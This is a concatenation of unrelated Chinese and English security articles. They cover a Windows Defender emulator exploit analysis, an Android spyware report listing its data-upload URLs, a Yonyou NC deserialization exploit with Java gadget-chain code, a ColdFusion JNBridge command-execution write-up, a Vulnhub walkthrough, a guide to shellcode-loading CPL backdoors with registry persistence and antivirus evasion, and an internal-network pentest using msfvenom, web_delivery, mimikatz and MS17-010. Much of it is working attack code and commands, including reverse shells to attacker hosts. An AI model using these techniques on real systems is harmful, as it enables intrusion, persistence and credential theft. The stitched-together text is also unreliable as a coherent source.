上图中的 v20 即是会被引用的 2f9b 和 2f9c，很明显由于被修改之后的值比正常的大，这会造成一个越界写的行为，上图中的
*(v20+*(v16+144))|=3 是漏洞利用过程的关键，该部分代码修改的是 vmmcontrol
中的一个关键字段，我们将在第三部分说明这个字段的用途。
### **3\. 获取任意读写能力**
在 defender 进行内存空间模拟的过程中涉及到这样几个比较重要的结构：
该结构用于维持模拟内存地址和真实内存地址之间的映射关系，该结构在内存中以数组的形式存在。
为了实现高效的地址转换，defender 还引入了一个索引数组（每个索引用 2 字节存储），该数组中存储的是 EmuVaddrNode
结构数组的索引，并且是按照 EmuPagenum 从小到大进行排序的，也就是说假设此时 EmuVaddrNode 数组中包含三个元素，且三个元素的
EmuPageNum 字段内容为 0x2000，0x1000，0x5000，那么正常情况下此时索引数组内容为1，0，3（1、0、3 都代表
EmuVaddrNode 数组的索引），并且 EmuVaddrNode 数组和索引数组在真实内存中的布局如下（假设从左到右代表地址从低到高）：
也就是说，索引数组后头就是 EmuVaddrNode 数组，EmuVaddrNode 数组紧跟着的是 Page，Page 代表的是 defender
申请的用于映射模拟内存空间的真实内存，即 EmuVaddrNode 中的 Vaddr 都是从 page 中切割出来的。
最后，我们回顾一下第二部分中提到的修改了 vmmcontrol
中的关键字段，这个关键字段描述的是索引数组一共有多少个元素。如果我们将该数值改的尽可能的大，使得索引数组的起始地址+索引数组数目*2>Page 地址，而
Page 中的内容是我们可控的，我们通过让 defender 模拟执行 *p=value 的方式，就能在 Page 中布置我们想要的内容。首先，我们在
Page 中伪造索引数组，并且该索引远大于 EmuVaddrNode 数组的项数，那么当 defender 模拟执行 *p=value
这类指令时，先是从我们在 Page 中伪造的索引数组中取到一个伪造的索引（该索引远大于 EmuVaddrNode 数组的项数）；接着，我们在 Page
中继续伪造一个 EmuVaddrNode 结构，那么 defender 通过伪造的索引便会访问到我们在 Page 中伪造的 EmuVaddrNode
结构，这时 EmuVaddrNode 结构的 Vaddr 是我们可控的，那么我们便获得了任意地址读写能力，“写”通过让 defender 模拟执行
*p=value 来实现，“读”通过让 dfender 模拟执行 value=*p
来实现。有浏览器或者内核漏洞相关经验的同事应该很熟悉这种场景，通过修改长度字段来伪造对象及其 pointer 字段最终获得任意地址读写的能力。
### **4\. 获取代码执行能力**
在 defender 中会将常用的代码片段进行 jit 处理，通常 jit 内存中存放的是 prolog 和 epilog
片段，在取得任意地址读写能力后，样本中先将通过硬编码偏移获取到了 jit 部分的真实地址，将某个 EmuVaddrNode 的 vaddr 设置为 jit
的真实地址，并且利用模拟执行 memcpy（EmuPageNum，shellcode, sizeof (shellocde)）向 jit 地址写入了
shellcode，最终只要 jit 功能一使用便会执行 shellcode。
## 检测原理
由于样本是在 defender
模拟执行的过程中触发的漏洞，那么，如果我们仅仅简单取样本中的几个特征字串作为匹配规则，显然是十分容易被绕过的。笔者建议可以综合以下几方面信息作为特征：
1\. asprotect 壳的特征。
2\. 上图所示内容是 MpEngine 中对解压后的内容做的一个校验，只有满足条件才会触发堆溢出操作，因此可以对类似于 ”*(memory)=0x8d;
*(memory+1)=0x85; *(memory+6)=0x50; *(memory+7)=0xc3” 的赋值操作进行特征匹配。
3\. 样本通过 NtControlChannel 获得版本信息以确定偏移信息，因此可以把 NtControlChannel 函数的调用特征作为匹配依据。
4\. 样本中其他为了实现稳定的内存布局而进行的模拟调用的特征。
## 总结
整个样本的利用过程，可以用精妙绝伦来形容。可以看出，漏洞作者对于 defender
模拟执行的过程已经研究的十分深入。因此，无论是从漏洞挖掘还是从漏洞利用的角度来说，该样本以及 Windows Defender
都还有非常多的地方值得笔者继续深入分析探索，也欢迎有兴趣的读者一同交流探讨。
### **关于微步情报局**
微步情报局，即微步在线研究响应团队，负责微步在线安全分析与安全服务业务，主要研究内容包括威胁情报自动化研发、高级 APT
组织&黑产研究与追踪、恶意代码与自动化分析技术、重大事件应急响应等。 | 社区文章 |
# 隐私窃贼病毒分析报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 1.概述
近日我们在恒安嘉新态势感知平台上监测到一款仿冒韩国音乐应用的病毒样本。经过安全研究人员分析，发现该应用在用户不知情的情况下，窃取用户设备短信、联系人、设备信息等敏感数据，之后便隐藏图标保持后台长时间运行。
图1-1 态势感知平台监测到的样本信息
## 2.详细分析
### **2.1请求敏感权限**
（1）该应用整体运行过程并不复杂，应用启动后便通过第三方SDK（yanzhenjie）来请求敏感权限。
图1-2 利用第三方接口请求敏感权限
（2）yanzhenjie是第三方开源库，主要用于实现动态请求权限。
图1-3 第三方SDK包信息
### **2.2Binder机制处理消息**
（1）启动主服务，通过binder机制发送消息：
图1-4 发送消息
图1-5 处理消息
（2）循环处理消息，依次执行获取并上传用户设备联系人、短信、设备等信息任务。
图1-6 循环处理任务
### **2.3服务器通信**
（1）连接服务器：上传用户手机号、imei、设备类型等信息。
图1-7 上传用户设备信息
图1-8 抓包数据
（2）在与服务器通信之前恶意软件会先检测网络状态：
图1-9 监测网络连接状态
（3）若用户手机设备没有连网，获取设备APN类型（网络接入点）。
图1-10 硬编码的APN类型
图1-11 获取APN类型
（4）根据手机APN类型设置代理进行通信：
图1-12 设置代理进行通信
（5）若用户设备已连网则通过http协议进行通信：
图1-13连网通信
图1-14 向服务器发送请求
### **2.4窃取隐私信息**
（1）注册短信接收广播，获取用户短信息。
图1-15 获取用户接收的短信息
将获取的短信信转换为json格式发送至服务器：
图1-16 发送的短信数据包
（2）通过binder消息机制，执行获取联系人信息任务并发送至服务器：
图1-17 获取用户联系人信息
图1-18 发送联系人数据包
（3）通过数据库查找获取用户设备短信箱信息并发送至服务器：
图1-19 获取用户短信箱信息
（4）获取用户设备照片信息并发送至服务器，但代码内并未调用：
图1-20 获取照片信息并发送至服务器
恶意软件打印的日志信息包含了大量用户敏感信息：
图1-21 恶意软件日志信息
### **2.5服务器列表**
**服务器地址** | | **功能** |
---|---|---|---
http://api090501.ca***rac.xyz/uploadAlbum.htm | | 上传用户设备媒体照片 |
http://api090501.ca***ac.xyz/sychonizeUser.htm | | 上传用户手机号码、imei等信息 |
http://api090501.ca***ac.xyz/uploadContact.htm | | 上传用户设备联系人信息 |
http://api090501.ca***ac.xyz/uploadSms.htm | | 上传用户设备短信 |
（1）该服务器地址最新注册与2020-06-09。
图2-1 域名最新注册时间
（2）IP指向美国洛杉机。
图2-2 IP指向美国
（3）对服务器地址进行扩展分析发现该应用的下载地址：http://api090501.ca***ac.xyz/1.apk，通过修改apk文件名称为其它数字能下载不同的应用。其中能下载文件名序号为1-3的apk文件，这三个apk文件代码行为完全相同，只是图标及应用名称不同。
图2-3 同类恶意软件家族
## 3.总结
从该应用的应用名称以及分发网站来看，该病毒软件主要针对韩国用户，且威胁行为者利用不同的仿冒韩国应用的恶意软件进行传播感染用户设备，以达到窃取用户隐私数据的目的。
暗影安全实验室将会持续监控移动恶意软件状态，及时为移动端用户提供最新风险舆情。 | 社区文章 |
# 漏洞原理
`/service/monitorservlet`存在反序列化利用点，可以直接攻击
## 回显思路
网上大部分cc回显是将构造的回显类塞进`TemplatesImpl`中，默认安装的用友nc开启了jdk security
过滤了`TemplatesImpl`类，导致利用网上写好的cc回显是无法成功.
所以可以换一种思路，寻找ClassLoader子类且实现defineClass加载回显类字节码达到回显的目的.
分析后可以发现`org.mozilla.javascript.DefiningClassLoader`被加载进classpath,且实现defineClass方法.所以这里可以直接用`defineClass`加载字节码回显
payload: <https://gist.github.com/fnmsd/4d9ed529ceb6c2a464f75c379dadd3a8>
利用结果如下
## POC 构造
1.编译恶意类:<https://gist.github.com/fnmsd/4d9ed529ceb6c2a464f75c379dadd3a8>
2.将编译后的恶意类转为字节码
package com.osword.defineclass;
import java.io.*;
public class ClassLoaderMain {
public static void main(String[] args) throws Exception {
byte[] bs = getBytesByFile("/Users/osword/Desktop/rep/target/classes/com/osword/defineclass/dfs.class");
for (int i = 0; i < bs.length; i++) {
System.out.print(bs[i]+",");
}
}
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
3.字节码贴入CommonsCollections6中反射，形如如下调用
DefiningClassLoader.class.getDeclaredConstructor().newInstance(new Object[0]).defineClass("com.osword.defineclass.dfs",bs).getMethod("main").invoke(null);
修改cc6如下,替换`transformers`构造，其中`bs`替换为上面生成的`bytes`数组,`com.osword.defineclass.dfs`可以替换为自己的`包名.类`
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(DefiningClassLoader.class),
new InvokerTransformer("getDeclaredConstructor", new Class[]{Class[].class}, new Object[]{new Class[0]}),
new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[0]}),
new InvokerTransformer("defineClass",
new Class[]{String.class, byte[].class}, new Object[]{"com.osword.defineclass.dfs", bs}),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"main", new Class[]{String[].class}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{null}}),
new ConstantTransformer(new HashSet())}; | 社区文章 |
# 12月2日 - 每日安全知识热点
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Struts官方发布S2-054和S2-055漏洞公告，建议用户赶紧升级至Struts 2.5.14.1！
<http://struts.apache.org/announce.html#a20171130>
<https://cwiki.apache.org/confluence/display/WW/S2-054>
<https://cwiki.apache.org/confluence/display/WW/S2-055>
PHP 7.2增加对下一代密码hash算法Argon2的支持
<https://www.bleepingcomputer.com/news/security/php-adds-support-for-next-gen-password-hashing-algorithm-argon2/>
本周勒索软件盘点
<https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-december-1st-2017-decryptors-btcware-and-more/>
Halloware勒索软件暗网仅售40美元
<https://www.bleepingcomputer.com/news/security/halloware-ransomware-on-sale-on-the-dark-web-for-only-40/>
在南美和北非国家发现新的Mirai攻击事件
<http://blog.trendmicro.com/trendlabs-security-intelligence/new-mirai-attack-attempts-detected-south-america-north-african-countries/>
## 技术类
CVE-2017-8816: curl NTLM 身份认证缓冲区溢出漏洞分析
[CVE-2017-8816: curl NTLM Authentication Buffer
Overflow](https://xorl.wordpress.com/2017/11/30/cve-2017-8816-curl-ntlm-authentication-buffer-overflow/)
如何在Office文档中隐藏payload
<https://www.blackhillsinfosec.com/hide-payload-ms-office-document-properties/>
【教程】树莓派自学教程：从A到Z
<https://github.com/wtsxDev/Raspberry-Pi>
【教程】四种方法教你如何提取VMDK文件中的内容
<https://www.altaro.com/vmware/extract-content-vmdk-files/>
看我如何逆向Huawei E5573 LTE加密狗设备
[Notes – Reversing the
e5573](https://advancedpersistentjest.com/2017/12/01/notes-reversing-the-e5573/)
<https://0x00sec.org/t/hiding-with-a-linux-rootkit/4532>
<https://github.com/jordan9001/superhide>
【教程】看我如何一步一步写一个C语言的编译器（Part 1）
<https://norasandler.com/2017/11/29/Write-a-Compiler.html>
【Tools】LogonTracer：通过查看和分析Windows活动目录事件日志来检查恶意登录的工具
<https://github.com/JPCERTCC/LogonTracer>
Mimikatz非官方指南和命令参考
<https://adsecurity.org/?page_id=1821>
【漏洞】HP iMC Plat 7.2远程代码执行（ CVE-2017-5817）
<https://cxsecurity.com/issue/WLB-2017120008>
【Tools】WhatWeb v0.4.9：下一代Web扫描器
<http://www.kitploit.com/2017/11/whatweb-049-next-generation-web-scanner.html>
<https://github.com/urbanadventurer/WhatWeb>
【Tools】Pi-Tail ：适用于任何未root手机的设备（内置Kali Linux 2017.3版）
<https://whitedome.com.au/re4son/pi-tail/>
<https://github.com/Re4son/RPi-Tweaks/tree/master/pi-tail> | 社区文章 |
**Author: Badcode@Knownsec 404 Team**
**Date: July 9, 2019**
**Chinese Version:<https://paper.seebug.org/999/>**
### Introduction
Adobe ColdFusion is a commercial rapid development platform, which can also
provides thevFlash remote service or serve as a backend server for Adobe Flex
applications.
On June 11, 2019, Adobe released the [security
bulletin](https://helpx.adobe.com/security/products/coldfusion/apsb19-27.html
"security bulletin") and fixed several serious vulnerabilities in Adobe
ColdFusion, among which there is a command injection vulnerability
(cve-2019-7839) submitted by Moritz Bechler.
On June 26, 2019, Moritz Bechler released [some
details](https://seclists.org/bugtraq/2019/Jun/38 "some details") of the
remote code execution vulnerability (CVE-2019-7839) on Bugtraq. Due to defects
in the JNBridge component, ColdFusion turns on the JNBridge component by
default, resulting in this vulnerability.
### Affected Version
* ColdFusion 2018 Update 3 and the previous version
* ColdFusion 2018 Update 10 and the previous version
* ColdFusion 11 Update 18 and the previous version
* <= ColdFusion 9
### Vulnerability Analysis
According to the details disclosed by Moritz Bechler, ColdFusion turned on
JNBridge listener by default, thus resulting in the vulnerability.
Take a look at JNBridge firstly.
#### About JNBridge
JNBridge plays a leading role in JAVA and .net interoperability. JNBridge
technology allows Java and .net code to share objects without a cross-compiler. All Java code runs on the JVM, while .NET code runs on the CLR.
Under this scheme, JVMS and CLR can run on different machines, as well as the
different processes on the same machine, and even on different application
domains for the same process.
Download JNBridgePro and there will be a demo after installation. Try out the
license:
jnbp-eval-v10.0#1899-2367-9451-2280
Here we try to use .net to call Java, and run logDemo to understand the
general process.
##### Start the Java Server
Modify `startJava.bat` according to the installation path of JNBridge and run
it:
As you can see, the listener of JNBridge server is turned on, which is on port
8085.
##### Construct the .Net Client
Create .net project according to the instruction documentation of the demo,
logdemo.pdf.
##### Run
Run the .Net project to call the Java server and it is successful.
##### How to Call java.lang.runtime
In the previous steps, we need to convert `loggerDemo.javaClass` to
`logger.dll`. So is it possible to export `java.lang.runtime` into a dll file
for reference by .net client, and then call `java.lang.runtime` on the Java
server?
Try to introduce `rt.jar` into the classpath.
Add the `java.lang.Runtime` class.
Export `runtime.dll` and introduce it in the .Net project for calling.
Run.
We successfully called `java.lang.runtime` on the Java server, which is the
root cause of this vulnerability.
#### JNBridge in ColdFusion
The JNBridge listener is run by default in ColdFusion and it is a Java server.
The listening ports are 6095 (ColdFusion 2018), 6093 (ColdFusion 2016) and
6085 (ColdFusion <=9/11).
Due to the different versions of JNBridge in Coldfusion, payloads are
constructed in different ways.
##### ColdFusion 2016/2018
The version of JNBridge in ColdFusion 2018 is v7.3.1. You cannot use the above
JNBridge v10 to construct the payload. Some [back
versions](https://jnbridge.com/download-back-versions "back versions") on the
JNBridge website are available and we download v7.3.
Write the code that can be executed on the Java server:
String command = "whoami";
String [] commandArgs;
String os = System.getProperty("os.name");
System.out.println(os);
if(os.toLowerCase().startsWith("win")){
commandArgs = new String[]{"cmd.exe", "/c", command};
}else {
commandArgs = new String[]{"/bin/bash", "-c", command};
}
Runtime runtime = Runtime.getRuntime();
Process process = runtime.exec(commandArgs);
BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = br.readLine()) != null)
{
System.out.println(line);
}
br.close();
It uses `java.lang.Runtime`, `java.lang.Process`, `java.io.BufferedReader`,
`java.io.InputStreamReader` and `java.lang.System`, and the related class is
exported from `rt.jar` to `runtime2.dll` for reference by the .Net client.
Rewrite according to the Java code.
`JNBShare.dll` is very important here. The generated `JNBShare.dll` after the
successful installation of JNBridge is unable to use `JNBShare.dll` of
JNBridge in ColdFusion, and an error will be reported.
Run to attack the remote ColdFusion 2018 (Linux), and return the results
successfully.
##### ColdFusion 9/11
The version of JNBridge inside ColdFusion 9 is v5.1 and the listening port is
6085. Since this version is quite old, the installation package cannot be
found. Now we need to generate `runtime2.dll` for reference and `JNBShare.dll`
which can be used. jnbproxyGui.exe in JNBridge inside ColdFusion can't
create`.net -> java` project, which means GUI tool can't be used. Fortunately,
command line tool can still be used.
View the usage of jnbproxy.exe.
Generate the required `runtime2.dll` based on the usage.
jnbproxy /d C:\logDemo /cp C:\ColdFusion9\jnbridge\jre\lib\rt.jar /host localhost /n runtime2 /nj /pd n2j /port 6085 /pro b /pp C:\ColdFusion9\lib java.lang.Runtime java.lang.Process java.io.BufferedReader java.io.InputStreamReader java.lang.System
As for `JNBShare.dll`, fortunately, someone has collected it, which is just
v5.1 and you can Google it.
Run to attack the remote ColdFusion 9 (Windows), and return the results of
command execution.
### About Knownsec & 404 Team
Beijing Knownsec Information Technology Co., Ltd. was established by a group
of high-profile international security experts. It has over a hundred frontier
security talents nationwide as the core security research team to provide
long-term internationally advanced network security solutions for the
government and enterprises.
Knownsec's specialties include network attack and defense integrated
technologies and product R&D under new situations. It provides visualization
solutions that meet the world-class security technology standards and enhances
the security monitoring, alarm and defense abilities of customer networks with
its industry-leading capabilities in cloud computing and big data processing.
The company's technical strength is strongly recognized by the State Ministry
of Public Security, the Central Government Procurement Center, the Ministry of
Industry and Information Technology (MIIT), China National Vulnerability
Database of Information Security (CNNVD), the Central Bank, the Hong Kong
Jockey Club, Microsoft, Zhejiang Satellite TV and other well-known clients.
404 Team, the core security team of Knownsec, is dedicated to the research of
security vulnerability and offensive and defensive technology in the fields of
Web, IoT, industrial control, blockchain, etc. 404 team has submitted
vulnerability research to many well-known vendors such as Microsoft, Apple,
Adobe, Tencent, Alibaba, Baidu, etc. And has received a high reputation in the
industry.
The most well-known sharing of Knownsec 404 Team includes: [KCon Hacking
Conference](http://kcon.knownsec.com/#/ "KCon Hacking Conference"), [Seebug
Vulnerability Database](https://www.seebug.org/ "Seebug Vulnerability
Database") and [ZoomEye Cyberspace Search Engine](https://www.zoomeye.org/
"ZoomEye Cyberspace Search Engine").
* * * | 社区文章 |
## Vulnhub-TopHatSec: Freshly
### 靶机
> <https://www.vulnhub.com/entry/tophatsec-freshly,118/>
#### 运行环境
* Virtualbox
* VM（运行会提示错误，给的解决链接已经404）
### 说明
这个挑战的目标是通过网络闯入机器，并找到隐藏在敏感文件中的秘密。如果你能找到秘密，给我发一封电子邮件进行验证。:)
有几种不同的方式。祝你好运！
只需将OVA文件下载并导入到virtualbox即可！
### 设置
首先将下载的ova用virtualbox打开，然后导入
### 服务发现
端口扫描
操作系统识别
主要端口进一步扫描
80端口
8080
发现wordpress
443也是这个
### 检测已知服务
对wordpress进行探索
发现三个插件有安全问题，但是帮助不大。在扫描同时，对80进行，发现phpmyadmin和login.php
login.php
Sqlmap进行检测
存在注入
查看数据库
查看WordPress8080库找到wordpress的用户名和密码
登入后台，修改语言为中文
### 获取shell
wordpress有两种方式拿shell，一种是添加插件，将准备好的格式正确的shell添加到.zip上传。
还有一种是直接编辑
我是直接编辑，将shell写入404页面
本地开NC监听
访问404页面
Shell反弹
查看passwd，发现有权限 | 社区文章 |
## 前言
最近无意间发现了cpl文件,之前对该类型的文件了解几乎为零,由于触及到我的知识盲区,于是决定探究。
## cpl文件
CPL文件，是Windows控制面板扩展项，CPL全拼为`Control Panel Item`
在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
列入我们`win+R`输入`main.cpl`
将会打开控制面板中的鼠标属性
cpl文件本质是属于PE文件
但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。
并且有一个导出函数`CPlApplet`
该函数是控制面板应用程序的入口点，它被控制面板管理程序自动调用，且是个回调函数。
## 如何打开cpl
1.双击或者win+r xxx.cpl
2.control <文件名>
3.rundll32 shell32.dll,Control_RunDLL <文件名>
注意：所有rundll32
shell32.dll,Control_RunDLL的命令均可用control替代，control.exe实质调用了rundll32.exe。打开后找不到control.exe进程，只能找到rundll32.exe。
4.vbs脚本
Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl")
5.js脚本
var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("C:\\Users\\11793\\Desktop\\cpl.cpl");
## 如何自己制造一个cpl文件
最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
随便一种方式执行
这里既然可以弹出calc.exe,那么能不能执行自己的payload的呢,答案是肯定的。
## cpl文件的应用
### bypass Windows AppLocker
什么是`Windows AppLocker`:
AppLocker即“应用程序控制策略”，是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
开启Applocker规则:
打开计算机管理,选择服务,将`Application Identity`服务开启
然后在安全策略中,添加一条applocker规则,会询问是否添加默认规则
默认规则为:
假设设置某一路径无法执行可执行程序,再次运行时就会提示组策略安全,不允许运行
绕过的方式有很多,这里只讲cpl文件
完全可以把代码写入到cpl文件中,同样达到执行目的,这里就弹一个cmd
### msf直接生成cpl文件
生成cpl文件
`msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff'
lhost=192.168.111.128 lport=8877 -f dll -o cpl.cpl`
将文件拖到本地并运行,msf监听
* use exploit/multi/handler
* set payload windows/meterpreter/reverse_tcp
* set lhost 192.168.111.128
* set lport 8877
* exploit
这样肯定是不够的,可以把这个cpl文件当作一个后门,做到一个权限维持的效果,且比较隐蔽。
将cpl文件名称改为`test.cpl`
创建一个项目,作用为修改注册表:
HKEY hKey;
DWORD dwDisposition;
char path[] = "C:\\test.cpl";
RegCreateKeyExA(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, "test.cpl", 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path)));
不一定将cpl文件放到c盘更目录,可以自定义路径
执行后
然后这里在开启control.exe时,test.cpl文件也会被打开。
如果目标主机有杀软,可以通过该方法白加黑绕过,但是msf的cpl文件特征非常明显,静态太概率都会被杀掉。
除了加壳之外,寄希望于自己实现加载shellcode,方便做混淆。
### 使用shellcode自己做一个cpl文件
直接上代码
#include "pch.h"
#include "windows.h"
extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsigned char buf[] = "shellcode";
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
这是最最最最基础的loader
先打开`control.exe`看看效果
看看查杀率
这里上传的文本,shellcode没有做任何的处理,API也没有替换,查杀率已经算比较低的.如果混淆一下,替换下API,很轻松的就可以静态过杀软,再用白加黑,是不是想想就很轻松呢。
经过处理后,找杀毒能力还比较强的360试一下
## 参考
<https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html>
<https://attack.mitre.org/techniques/T1218/002/>
<https://docs.microsoft.com/zh-cn/windows/security/threat-protection/windows-defender-application-control/applocker/working-with-applocker-rules>
最后欢迎关注团队公众号：红队蓝军 | 社区文章 |
## xssfork简介
xssfork作为sicklescan的一个功能模块，其开发主要目的是用于检测xss漏洞。
传统的xss探测工具，一般都是采用 payload in
response的方式，即在发送一次带有payload的http请求后，通过检测响应包中payload的完整性来判断，这种方式缺陷，很多。
第一：不能准确地检测dom类xss
第二：用类似于requests之类的库不能真正的模拟浏览器
第三：网页js无法交互
怎么解决？如果能够用浏览器代替这个模块，去自动hook是最好的。所幸，我了解到phantomjs，当然现在google浏览器也支持headless模式，类似的，你也可以采用google浏览器去做检测。
## 原理
对于这类fuzz过程,基本都是预先准备好一些payload,然后加载执行。对于这类io型密集的扫描模型，后端使用多线程就比较适用，但是由于phantomjs你可以理解为一个无界面的浏览器，在加载的时候，其缺陷也比较明显，比较吃内存，用它来发包自然不像requests库轻量。
## 编码脚本
由于基础的payload模块，我收集了71个。
基础pyaload会在现有的基础上，会添加上各种闭合的情况。
除了这些基础的payload,xssfork还提供了几个编码脚本，查看脚本，可以看help
现阶段提供了10进制，16进制，随机大小写，关键字叠加四个脚本。
### 10hex_encode
将html标签内部字符10进制化
<a href=javascript:alert(65534);>aaa</a>
其效果如下
### 16hex_encode
将html标签内部字符16进制化
### uppercase
随机大小写
将
<script>alert(65534);</script>
转换成
<ScRIPt>alert(65534);</ScRIpT>
### addkeywords
主要是应对过滤为replace('keywords','')的情况
<script>alert(65534);</script>
变成
<<script>script>alert(65534);</script>
当然默认开启的是轻量模式，即只返回一个payload，开启重量模式，可以生成更加丰富的pyaload，效果如下
<script>alert(65534);</script>
<script>alert(65534);</ScrIpt>
<ScrIpt>alert(65534);</sCrIpt>
<scRiPt>alert(65534);</script>
<ScrIpt>alert(65534);</script>
## 演示
post类型
python xssfork.py -u xx -d 'xx'
存储型
python xssfork.py -u xx -d 'xxx' -D '输出位置'
当然还可依携带cookie
## 说明
开源只为分享，请勿将本脚本做任何商业性质的集成。开发的时候，有可能很多情况没有考虑到，如果你有更好的建议或者发现bug，可以联系我邮箱,xssfork.codersec.net网站还在建设中,github不要吝啬你的star。
[email protected]
开源地址 <https://github.com/bsmali4/xssfork>
记得不要吝啬你的star | 社区文章 |
## 简介
> 本次测试为实战测试，测试环境是授权项目中的一部分，敏感信息内容已做打码处理，仅供讨论学习。由于本人在内网方面的掌握也是属于新手阶段，运用到的一些
> **msf** 攻击手法也很基础，请各位表哥多多指教。
## 获得shell
Getshell的过程没什么好说的，无非简单的后台弱口令到上传然后冰蝎连接getshell。
获得shell后，模拟终端`ping 8.8.8.8`有返回包，说明该服务器与外网互通。
既然跟外网互通，那么可以尝试直接使用msf的`exploit/multi/handler`配合冰蝎反弹shell来获得session
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 5665
run
但是结果很不尽人意，没能够成功获得session。
在使用冰蝎模拟终端收集信息过程中，发现本地有 **powershell** 进程。
再次打开 **msf** ，本次尝试使用`web_delivery`配合终端执行powershell指令来获得session。
User exploit/multi/script/web_delivery
Set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run
获得payload，使用冰蝎或者C刀模拟终端直接执行，成功获得session，执行`getuid`发现权限为system权限，省去了提权过程。
## 权限维持
> 为了获得一个持久稳定的高权限session，我们需要将当前的session进程迁移到一个持久、坚挺又稳定的进程上，防止突然暴毙（咳咳）
我们使用ps查看当前进程，然后选中一个看起来比较持久的幸运儿spoolsv.exe(这是一个用来控制打印的进程，我遇到的机器基本都开启了此进程)
**注意：** 选择进程的时候优先选择系统进程，这种比较持久且为system权限
migrate 进程号
getpid
## 内网信息搜集
>
> 不管是在什么类型的渗透环境下，信息搜集永远是不可缺少的一环，他决定了你渗透的效率，可以让你在渗透过程中少走很多弯路，毕竟在项目上尤其是红蓝攻防中，最缺的永远是时间
接下来，查看IP信息以及arp缓存，查看网段分布情况：
发现该服务器只存在192.168.10.0/24网段的信息
于是继续查看其他信息
Netstat -ano
发现服务器开放3389端口：
既然开启了3389端口，我们使用端口转发，登录到服务器看看有没有意外收获。
portfwd add -l 6666 -p 3389 -r 127.0.0.1
IP有了，3389开了，现在我们缺少的是用户名密码
直接 **meterpreter** 下加载 **mimikatz**
Load mimikatz
Wdigest
比较遗憾的是没能获取到明文密码，但是我这边使用 **cobalt strike** 加载的 **mimikatz** 成功获取到明文密码
emmm总之搞不懂的地方先归为玄学问题
现在，密码也有了，mstsc链接目标3389端口成功 **此处涉及的敏感信息较多，放弃截图，我尽量用语言表述清楚思路**
上传 **netpass** 查看rdp缓存，无果，但是发现系统有 **VNC**
> **VNC:** VNC (Virtual Network Console)是虚拟网络控制台的缩写，是一款远程控制工具软件。
查看VNC相关文件发现新的网段信息，但是没有保存的连接信息，不过能获得新的网段信息也是知足了
## 横向
> 至此，信息收集部分其实也就差不多，接下来我们开始尝试横向移动
根据之前发现的网段信息以及服务器本机的路由信息，我们手动添加路由
Run autoroute -s 192.168.10.0/24
Run autoroute -s 172.16.0.0/24
……
其他网段同理，添加路由之后`bg`退回到控制台
先使用`auxiliary/scanner/smb/smb_version`模块扫描一下各网段的 **smb** 服务开启情况
Use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24
set threads 10
run
可以看到，活着的机器还挺多。
然后，使用`auxiliary/scanner/smb/psexec_loggedin_users`模块配合已获得的两组账户密码进行横向
Use auxiliary/scanner/smb/psexec_loggedin_users
Set rhosts 192.168.10.0/24
Set smbuser username
Set smbpass password
Set threads 5
run
尴尬，横向失败，居然没有用同账户密码
既然横向失败，可以考虑最简单的，但也是最实用的大杀器，ms17-010
先使用`scanner`模块扫描一下哪些机器可能存在ms17-010的漏洞
Use auxiliary/scanner/smb/smb_ms17_010
Set rhosts 192.168.10.0/24
Set thread 20
Run
由于打ms17-010的流量比较大，为了防止死掉，我根据扫描出来的结果，针对性的选择一台感觉比较容易搞的目标，单独打。
此处试了很多机器，好多都打了补丁，不过也有漏网之鱼，此处单独拿一台示例：
Use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.10.18
set command whoami
run
成功执行，是system权限，同理command换成弹shell的命令，便可以获得该机器的权限。
